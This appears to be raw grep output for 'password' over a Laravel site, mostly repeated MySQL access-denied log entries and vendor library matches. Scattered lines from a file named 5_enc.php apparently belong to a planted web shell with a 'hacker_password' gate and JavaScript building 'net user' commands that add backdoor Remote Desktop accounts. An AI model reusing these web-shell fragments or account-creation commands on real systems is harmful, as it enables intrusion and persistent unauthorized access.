'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-14 22:58:28] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = cPERMF4jghSJK8qL52N4itQ2chzD3rNT0PO8M4WZ limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = cPERMF4jghSJK8qL52N4itQ2chzD3rNT0PO8M4WZ limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-15 06:55:29] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = dxeoOQvTeM8ADkXNBpvqaCOxE8BzlPIdEXc4t1dW limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = dxeoOQvTeM8ADkXNBpvqaCOxE8BzlPIdEXc4t1dW limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-15 06:55:30] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = PF3oovYsWg0vTX43UXujLwP1ReSiWOqRxTBRQcuT limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = PF3oovYsWg0vTX43UXujLwP1ReSiWOqRxTBRQcuT limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-15 10:18:22] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 6RWMIbvnRGVoM1H2hb0qCdIJUp1yag9GHR7OA5D2 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 6RWMIbvnRGVoM1H2hb0qCdIJUp1yag9GHR7OA5D2 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-15 11:59:10] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = wKaCrPcnhHor4h1JIjZ46YIvjwEPvl2s7nw855te limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = wKaCrPcnhHor4h1JIjZ46YIvjwEPvl2s7nw855te limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-15 12:41:53] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Agq198OHBBVCecvjDTIoAZlGlcoq0VLR6x10QqL1 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Agq198OHBBVCecvjDTIoAZlGlcoq0VLR6x10QqL1 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-16 20:32:59] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = M3EAQeXDaslSrWyBoOA8kacGQfeI0h7K4xixWkHk limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = M3EAQeXDaslSrWyBoOA8kacGQfeI0h7K4xixWkHk limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-16 20:47:40] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = wTCKTWDOpJ45OXty2ObZd6clVkrD6c0RfTcP33wm limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = wTCKTWDOpJ45OXty2ObZd6clVkrD6c0RfTcP33wm limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-16 20:57:50] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = brAnBWc5MDig3gpti2qihbHco3cCPQe02LrQlrZR limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = brAnBWc5MDig3gpti2qihbHco3cCPQe02LrQlrZR limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-16 20:57:50] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = bfKShejjhU69u5QcuQfkiDDq6jywrPwiVUlH9jtp limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = bfKShejjhU69u5QcuQfkiDDq6jywrPwiVUlH9jtp limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-16 21:35:15] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = RedGJHMBNhyULnCiO05shzyPqQezXIYshLsUjmfq limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = RedGJHMBNhyULnCiO05shzyPqQezXIYshLsUjmfq limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/framework/views/19d040b2d6a4402da9d424d18c604ac2.php: ./storage/framework/views/19d040b2d6a4402da9d424d18c604ac2.php:
./storage/framework/views/19d040b2d6a4402da9d424d18c604ac2.php: ./storage/framework/views/19d040b2d6a4402da9d424d18c604ac2.php: ./storage/framework/views/19d040b2d6a4402da9d424d18c604ac2.php: ./storage/framework/views/19d040b2d6a4402da9d424d18c604ac2.php: ./storage/framework/views/19d040b2d6a4402da9d424d18c604ac2.php:make('layouts.app', array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?> ./storage/framework/views/e64a517f5d31316c10f1181e23841b1b.php: ./storage/framework/views/e64a517f5d31316c10f1181e23841b1b.php: ./storage/framework/views/e64a517f5d31316c10f1181e23841b1b.php: ./storage/framework/views/e64a517f5d31316c10f1181e23841b1b.php: ./storage/framework/views/ff0287b16b1537d62a0074d5fbe09d11.php: ./storage/framework/views/ff0287b16b1537d62a0074d5fbe09d11.php: ./storage/framework/views/ff0287b16b1537d62a0074d5fbe09d11.php: ./storage/framework/views/ff0287b16b1537d62a0074d5fbe09d11.php: ./storage/framework/views/b5d76ebdc687ba7c18b4727ebae7412f.php: ./storage/framework/views/b5d76ebdc687ba7c18b4727ebae7412f.php: ./storage/framework/views/b5d76ebdc687ba7c18b4727ebae7412f.php: ./storage/framework/views/b5d76ebdc687ba7c18b4727ebae7412f.php: ./storage/framework/views/b5d76ebdc687ba7c18b4727ebae7412f.php: ./storage/framework/views/b5d76ebdc687ba7c18b4727ebae7412f.php:make('layouts.app', array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?> ./storage/framework/views/315d747b26c60ad2b4b6e1d79bd05567.php: ./storage/framework/views/315d747b26c60ad2b4b6e1d79bd05567.php:make('layouts.app', array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?> ./cursor2/backend/new/index.php: ./cursor2/backend/new/index.php: ./cursor2/backend/new/index.php: ./cursor2/backend/workspaces/slotgacor/5_enc.php:$hashed_password = '$2a$10$q1/FVydlc7sM8kn0LRR4hOrTKd4OgSE0rihmbN2Sq6MKkJohRpgwa'; ./cursor2/backend/workspaces/slotgacor/5_enc.php: if (isset($_POST['hacker_password'])) { ./cursor2/backend/workspaces/slotgacor/5_enc.php: if (password_verify($_POST['hacker_password'], $hashed_password)) { ./cursor2/backend/workspaces/slotgacor/5_enc.php: .password-wrapper { position: relative; display: flex; align-items: center; background: rgba(0, 30, 0, 0.8); border: 2px solid #00ff00; border-radius: 6px; transition: all 0.3s; } ./cursor2/backend/workspaces/slotgacor/5_enc.php: .password-wrapper:focus-within { border-color: #00ff00; box-shadow: 0 0 25px rgba(0, 255, 0, 0.4); background: rgba(0, 50, 0, 0.9); } ./cursor2/backend/workspaces/slotgacor/5_enc.php: input[type="password"] { flex: 1; background: transparent; border: none; color: #00ff00; padding: 14px 18px; font-family: 'Share Tech Mono', monospace; font-size: 18px; outline: none; letter-spacing: 4px; } ./cursor2/backend/workspaces/slotgacor/5_enc.php: input[type="password"]::placeholder { color: rgba(0, 255, 0, 0.3); letter-spacing: 2px; } ./cursor2/backend/workspaces/slotgacor/5_enc.php:
./cursor2/backend/workspaces/slotgacor/5_enc.php: ./cursor2/backend/workspaces/slotgacor/5_enc.php: document.querySelector('input[type="password"]').addEventListener('focus', function() { ./cursor2/backend/workspaces/slotgacor/5_enc.php: const password = prompt('🔐 Masukkan password untuk ' + username + ':'); ./cursor2/backend/workspaces/slotgacor/5_enc.php: if (!password) return; ./cursor2/backend/workspaces/slotgacor/5_enc.php: let cmd = `net user "${username}" "${password}" /add && net localgroup "Remote Desktop Users" "${username}" /add`; ./cursor2/backend/workspaces/slotgacor/5_enc.php: const username = prompt('👤 Masukkan username yang akan direset password-nya:'); ./cursor2/backend/workspaces/slotgacor/5_enc.php: const password = prompt('🔐 Masukkan password baru untuk ' + username + ':'); ./cursor2/backend/workspaces/slotgacor/5_enc.php: if (!password) return; ./cursor2/backend/workspaces/slotgacor/5_enc.php: runWindowsCommand(`Reset Password: ${username}`, `net user "${username}" "${password}"`); ./cursor2/backend/index.php: ./cursor2/backend/index.php: ./cursor2/backend/index.php: ./vendor/symfony/polyfill-php83/bootstrap.php: function ldap_connect_wallet(?string $uri, string $wallet, string $password, int $auth_mode = \GSLC_SSL_NO_AUTH) { return ldap_connect($uri, $wallet, $password, $auth_mode); } ./vendor/symfony/polyfill-php83/bootstrap81.php: function ldap_connect_wallet(?string $uri, string $wallet, #[\SensitiveParameter] string $password, int $auth_mode = \GSLC_SSL_NO_AUTH): \LDAP\Connection|false { return ldap_connect($uri, $wallet, $password, $auth_mode); } ./vendor/symfony/mailer/Transport/Dsn.php: #[\SensitiveParameter] private ?string $password = null, ./vendor/symfony/mailer/Transport/Dsn.php: $password = '' !== ($params['pass'] ?? '') ? rawurldecode($params['pass']) : null; ./vendor/symfony/mailer/Transport/Dsn.php: return new self($params['scheme'], $params['host'], $user, $password, $port, $query); ./vendor/symfony/mailer/Transport/Dsn.php: return $this->password; ./vendor/symfony/mailer/Transport/Smtp/EsmtpTransportFactory.php: if ($password = $dsn->getPassword()) { ./vendor/symfony/mailer/Transport/Smtp/EsmtpTransportFactory.php: $transport->setPassword($password); ./vendor/symfony/mailer/Transport/Smtp/EsmtpTransport.php: private string $password = ''; ./vendor/symfony/mailer/Transport/Smtp/EsmtpTransport.php: public function setPassword(#[\SensitiveParameter] string $password): static ./vendor/symfony/mailer/Transport/Smtp/EsmtpTransport.php: $this->password = $password; ./vendor/symfony/mailer/Transport/Smtp/EsmtpTransport.php: return $this->password; ./vendor/symfony/http-foundation/Request.php: * Returns the password. ./vendor/symfony/http-foundation/Request.php: * and the password are not added to the generated string. ./vendor/symfony/http-foundation/Session/Storage/Handler/PdoSessionHandler.php: private ?string $password = null; ./vendor/symfony/http-foundation/Session/Storage/Handler/PdoSessionHandler.php: * * db_password: The password when lazy-connect [default: ''] ./vendor/symfony/http-foundation/Session/Storage/Handler/PdoSessionHandler.php: $this->password = $options['db_password'] ?? $this->password; ./vendor/symfony/http-foundation/Session/Storage/Handler/PdoSessionHandler.php: $this->pdo = new \PDO($dsn, $this->username, $this->password, $this->connectionOptions); ./vendor/symfony/http-foundation/Session/Storage/Handler/PdoSessionHandler.php: // Override the default username and password. Values passed through options will still win over these in the constructor. ./vendor/symfony/http-foundation/Session/Storage/Handler/PdoSessionHandler.php: $this->password = $params['pass']; ./vendor/symfony/http-kernel/DataCollector/RequestDataCollector.php: if (isset($this->data['request_request']['_password'])) { ./vendor/symfony/http-kernel/DataCollector/RequestDataCollector.php: $encodedPassword = rawurlencode($this->data['request_request']['_password']); ./vendor/symfony/http-kernel/DataCollector/RequestDataCollector.php: $content = str_replace('_password='.$encodedPassword, '_password=******', $content); ./vendor/symfony/http-kernel/DataCollector/RequestDataCollector.php: $this->data['request_request']['_password'] = '******'; ./vendor/symfony/http-kernel/CHANGELOG.md: * content of request parameter `_password` is now also hidden ./vendor/symfony/translation/Provider/Dsn.php: private ?string $password; ./vendor/symfony/translation/Provider/Dsn.php: $this->password = '' !== ($params['pass'] ?? '') ? rawurldecode($params['pass']) : null; ./vendor/symfony/translation/Provider/Dsn.php: return $this->password; ./vendor/symfony/var-dumper/Caster/AmqpCaster.php: $prefix.'password' => $c->getPassword(), ./vendor/monolog/monolog/src/Monolog/Handler/PHPConsoleHandler.php: * password: string|null, ./vendor/monolog/monolog/src/Monolog/Handler/PHPConsoleHandler.php: * password?: string|null, ./vendor/monolog/monolog/src/Monolog/Handler/PHPConsoleHandler.php: 'password' => null, // string|null Protect PHP Console connection by password ./vendor/monolog/monolog/src/Monolog/Handler/PHPConsoleHandler.php: 'enableEvalListener' => false, // bool Enable eval request to be handled by eval dispatcher(if enabled, 'password' option is also required) ./vendor/monolog/monolog/src/Monolog/Handler/PHPConsoleHandler.php: if (null !== $this->options['password']) { ./vendor/monolog/monolog/src/Monolog/Handler/PHPConsoleHandler.php: $connector->setPassword($this->options['password']); ./vendor/monolog/monolog/src/Monolog/Handler/CouchDBHandler.php: * password: string|null ./vendor/monolog/monolog/src/Monolog/Handler/CouchDBHandler.php: * password?: string|null ./vendor/monolog/monolog/src/Monolog/Handler/CouchDBHandler.php: 'password' => null, ./vendor/monolog/monolog/src/Monolog/Handler/CouchDBHandler.php: if (null !== $this->options['username'] && null !== $this->options['password']) { ./vendor/monolog/monolog/src/Monolog/Handler/CouchDBHandler.php: $basicAuth = sprintf('%s:%s@', $this->options['username'], $this->options['password']); ./vendor/guzzlehttp/guzzle/src/RequestOptions.php: * the password in index [1], and you can optionally provide a built-in ./vendor/guzzlehttp/guzzle/src/RequestOptions.php: * containing a PEM formatted SSL client side certificate. If a password ./vendor/guzzlehttp/guzzle/src/RequestOptions.php: * file in the first array element followed by the certificate password ./vendor/guzzlehttp/guzzle/src/RequestOptions.php: * SSL key in PEM format. If a password is required, then set to an array ./vendor/guzzlehttp/guzzle/src/RequestOptions.php: * by the password required for the certificate in the second element. ./vendor/guzzlehttp/psr7/CHANGELOG.md: e.g. as a user info password. ./vendor/guzzlehttp/psr7/README.md:Redact the password in the user info part of a URI. ./vendor/guzzlehttp/psr7/src/Utils.php: * Redact the password in the user info part of a URI. ./vendor/guzzlehttp/psr7/src/Uri.php: public function withUserInfo($user, $password = null): UriInterface ./vendor/guzzlehttp/psr7/src/Uri.php: if ($password !== null) { ./vendor/guzzlehttp/psr7/src/Uri.php: $info .= ':'.$this->filterUserInfoComponent($password); ./vendor/psr/http-message/docs/PSR7-Interfaces.md:| `withUserInfo($user, $password = null)` | Return an instance with the specified user information. | | ./vendor/psr/http-message/src/UriInterface.php: * additionally, if the password is also present, it will be appended to the ./vendor/psr/http-message/src/UriInterface.php: * @return string The URI user information, in "username[:password]" format. ./vendor/psr/http-message/src/UriInterface.php: * @param null|string $password The password associated with $user. ./vendor/psr/http-message/src/UriInterface.php: public function withUserInfo(string $user, ?string $password = null): UriInterface; ./vendor/laravel/sanctum/src/Http/Middleware/AuthenticateSession.php: fn ($guard, $driver) => $request->session()->has('password_hash_'.$driver) ./vendor/laravel/sanctum/src/Http/Middleware/AuthenticateSession.php: $request->session()->get('password_hash_'.$driver) ./vendor/laravel/sanctum/src/Http/Middleware/AuthenticateSession.php: * Store the user's current password hash in the session. ./vendor/laravel/sanctum/src/Http/Middleware/AuthenticateSession.php: "password_hash_{$guard}" => method_exists($guardInstance, 'hashPasswordForCookie') ./vendor/laravel/sanctum/src/Http/Middleware/AuthenticateSession.php: * Validate the password hash against the stored value. ./vendor/laravel/sanctum/src/Http/Middleware/AuthenticateSession.php: * @param string $passwordHash ./vendor/laravel/sanctum/src/Http/Middleware/AuthenticateSession.php: protected function validatePasswordHash(SessionGuard $guard, string $passwordHash, string $storedValue): bool ./vendor/laravel/sanctum/src/Http/Middleware/AuthenticateSession.php: if (hash_equals($guard->hashPasswordForCookie($passwordHash), $storedValue)) { ./vendor/laravel/sanctum/src/Http/Middleware/AuthenticateSession.php: // Fall back to raw password hash format for backward compatibility... ./vendor/laravel/sanctum/src/Http/Middleware/AuthenticateSession.php: return hash_equals($passwordHash, $storedValue); ./vendor/laravel/sail/database/mariadb/create-testing-database.sh:/usr/bin/mariadb --user=root --password="$MYSQL_ROOT_PASSWORD" <<-EOSQL ./vendor/laravel/sail/database/mariadb/create-testing-database.sh:/usr/bin/mariadb --user=root --password="$MYSQL_ROOT_PASSWORD" <<-EOSQL ./vendor/laravel/sail/database/mysql/create-testing-database.sh:mysql --user=root --password="$MYSQL_ROOT_PASSWORD" <<-EOSQL ./vendor/laravel/sail/database/mysql/create-testing-database.sh:mysql --user=root --password="$MYSQL_ROOT_PASSWORD" <<-EOSQL ./vendor/laravel/sail/bin/sail: ARGS+=(mongodb mongosh --port "${FORWARD_MONGODB_PORT:-27017}" --username "$MONGODB_USERNAME" --password "$MONGODB_PASSWORD" --authenticationDatabase admin) ./vendor/laravel/sail/stubs/minio.stub: MINIO_ROOT_PASSWORD: 'password' ./vendor/laravel/sail/stubs/rustfs.stub: RUSTFS_SECRET_KEY: 'password' ./vendor/laravel/sail/src/Console/Concerns/InteractsWithDockerComposeServices.php: $environment = preg_replace("/DB_PASSWORD=(.*)/", "DB_PASSWORD=password", $environment); ./vendor/laravel/prompts/src/Themes/Default/PasswordPromptRenderer.php: * Render the password prompt. ./vendor/laravel/prompts/src/FormBuilder.php: public function password(string $label, string $placeholder = '', bool|string $required = false, mixed $validate = null, string $hint = '', ?string $name = null, ?Closure $transform = null): self ./vendor/laravel/prompts/src/FormBuilder.php: return $this->runPrompt(password(...), get_defined_vars()); ./vendor/laravel/prompts/src/helpers.php:if (! function_exists('\Laravel\Prompts\password')) { ./vendor/laravel/prompts/src/helpers.php: function password( ./vendor/laravel/ui/tests/AuthBackend/RegistersUsersTest.php: 'password' => 'secret-password', ./vendor/laravel/ui/tests/AuthBackend/RegistersUsersTest.php: 'password_confirmation' => 'secret-password', ./vendor/laravel/ui/tests/AuthBackend/RegistersUsersTest.php: 'password' => ['required', 'string', 'min:8', 'confirmed'], ./vendor/laravel/ui/tests/AuthBackend/RegistersUsersTest.php: 'password' => Hash::make($data['password']), ./vendor/laravel/ui/tests/AuthBackend/AuthenticatesUsersTest.php: 'password' => 'password', ./vendor/laravel/ui/tests/AuthBackend/AuthenticatesUsersTest.php: 'password' => 'password', ./vendor/laravel/ui/tests/AuthBackend/AuthenticatesUsersTest.php: 'password' => 'password', ./vendor/laravel/ui/tests/AuthBackend/AuthenticatesUsersTest.php: public function it_cant_authenticate_a_user_with_invalid_password() ./vendor/laravel/ui/tests/AuthBackend/AuthenticatesUsersTest.php: 'password' => 'invalid-password', ./vendor/laravel/ui/tests/AuthBackend/AuthenticatesUsersTest.php: 'password' => 'password', ./vendor/laravel/ui/stubs/Auth/ResetPasswordController.stub: | This controller is responsible for handling password reset requests ./vendor/laravel/ui/stubs/Auth/ResetPasswordController.stub: * Where to redirect users after resetting their password. ./vendor/laravel/ui/stubs/Auth/RegisterController.stub: 'password' => ['required', 'string', 'min:8', 'confirmed'], ./vendor/laravel/ui/stubs/Auth/RegisterController.stub: 'password' => Hash::make($data['password']), ./vendor/laravel/ui/stubs/Auth/ForgotPasswordController.stub: | This controller is responsible for handling password reset emails and ./vendor/laravel/ui/stubs/Auth/ConfirmPasswordController.stub: | This controller is responsible for handling password confirmations and ./vendor/laravel/ui/stubs/migrations/2014_10_12_100000_create_password_resets_table.php: Schema::create('password_resets', function (Blueprint $table) { ./vendor/laravel/ui/stubs/migrations/2014_10_12_100000_create_password_resets_table.php: Schema::dropIfExists('password_resets'); ./vendor/laravel/ui/src/AuthCommand.php: 'auth/passwords/confirm.stub' => 'auth/passwords/confirm.blade.php', ./vendor/laravel/ui/src/AuthCommand.php: 'auth/passwords/email.stub' => 'auth/passwords/email.blade.php', ./vendor/laravel/ui/src/AuthCommand.php: 'auth/passwords/reset.stub' => 'auth/passwords/reset.blade.php', ./vendor/laravel/ui/src/AuthCommand.php: if (! is_dir($directory = $this->getViewPath('auth/passwords'))) { ./vendor/laravel/ui/src/AuthCommand.php: __DIR__.'/../stubs/migrations/2014_10_12_100000_create_password_resets_table.php', ./vendor/laravel/ui/src/AuthCommand.php: base_path('database/migrations/2014_10_12_100000_create_password_resets_table.php') ./vendor/laravel/ui/src/Auth/bootstrap-stubs/auth/login.stub: ./vendor/laravel/ui/src/Auth/bootstrap-stubs/auth/login.stub: ./vendor/laravel/ui/src/Auth/bootstrap-stubs/auth/login.stub: @error('password') ./vendor/laravel/ui/src/Auth/bootstrap-stubs/auth/login.stub: @if (Route::has('password.request')) ./vendor/laravel/ui/src/Auth/bootstrap-stubs/auth/login.stub: ./vendor/laravel/ui/src/Auth/bootstrap-stubs/auth/register.stub: ./vendor/laravel/ui/src/Auth/bootstrap-stubs/auth/register.stub: ./vendor/laravel/ui/src/Auth/bootstrap-stubs/auth/register.stub: @error('password') ./vendor/laravel/ui/src/Auth/bootstrap-stubs/auth/register.stub: ./vendor/laravel/ui/src/Auth/bootstrap-stubs/auth/register.stub: ./vendor/laravel/ui/src/Auth/bootstrap-stubs/auth/passwords/email.stub: ./vendor/laravel/ui/src/Auth/bootstrap-stubs/auth/passwords/reset.stub: ./vendor/laravel/ui/src/Auth/bootstrap-stubs/auth/passwords/reset.stub: ./vendor/laravel/ui/src/Auth/bootstrap-stubs/auth/passwords/reset.stub: ./vendor/laravel/ui/src/Auth/bootstrap-stubs/auth/passwords/reset.stub: @error('password') ./vendor/laravel/ui/src/Auth/bootstrap-stubs/auth/passwords/reset.stub: ./vendor/laravel/ui/src/Auth/bootstrap-stubs/auth/passwords/reset.stub: ./vendor/laravel/ui/src/Auth/bootstrap-stubs/auth/passwords/confirm.stub: {{ __('Please confirm your password before continuing.') }} ./vendor/laravel/ui/src/Auth/bootstrap-stubs/auth/passwords/confirm.stub: ./vendor/laravel/ui/src/Auth/bootstrap-stubs/auth/passwords/confirm.stub: ./vendor/laravel/ui/src/Auth/bootstrap-stubs/auth/passwords/confirm.stub: ./vendor/laravel/ui/src/Auth/bootstrap-stubs/auth/passwords/confirm.stub: @error('password') ./vendor/laravel/ui/src/Auth/bootstrap-stubs/auth/passwords/confirm.stub: @if (Route::has('password.request')) ./vendor/laravel/ui/src/Auth/bootstrap-stubs/auth/passwords/confirm.stub: ./vendor/laravel/ui/src/AuthRouteMethods.php: * Register the typical reset password routes for an application. ./vendor/laravel/ui/src/AuthRouteMethods.php: $this->get('password/reset', 'Auth\ForgotPasswordController@showLinkRequestForm')->name('password.request'); ./vendor/laravel/ui/src/AuthRouteMethods.php: $this->post('password/email', 'Auth\ForgotPasswordController@sendResetLinkEmail')->name('password.email'); ./vendor/laravel/ui/src/AuthRouteMethods.php: $this->get('password/reset/{token}', 'Auth\ResetPasswordController@showResetForm')->name('password.reset'); ./vendor/laravel/ui/src/AuthRouteMethods.php: $this->post('password/reset', 'Auth\ResetPasswordController@reset')->name('password.update'); ./vendor/laravel/ui/src/AuthRouteMethods.php: * Register the typical confirm password routes for an application. ./vendor/laravel/ui/src/AuthRouteMethods.php: $this->get('password/confirm', 'Auth\ConfirmPasswordController@showConfirmForm')->name('password.confirm'); ./vendor/laravel/ui/src/AuthRouteMethods.php: $this->post('password/confirm', 'Auth\ConfirmPasswordController@confirm'); ./vendor/laravel/ui/auth-backend/SendsPasswordResetEmails.php: * Display the form to request a password reset link. ./vendor/laravel/ui/auth-backend/SendsPasswordResetEmails.php: return view('auth.passwords.email'); ./vendor/laravel/ui/auth-backend/SendsPasswordResetEmails.php: // We will send the password reset link to this user. Once we have attempted ./vendor/laravel/ui/auth-backend/SendsPasswordResetEmails.php: * Get the response for a successful password reset link. 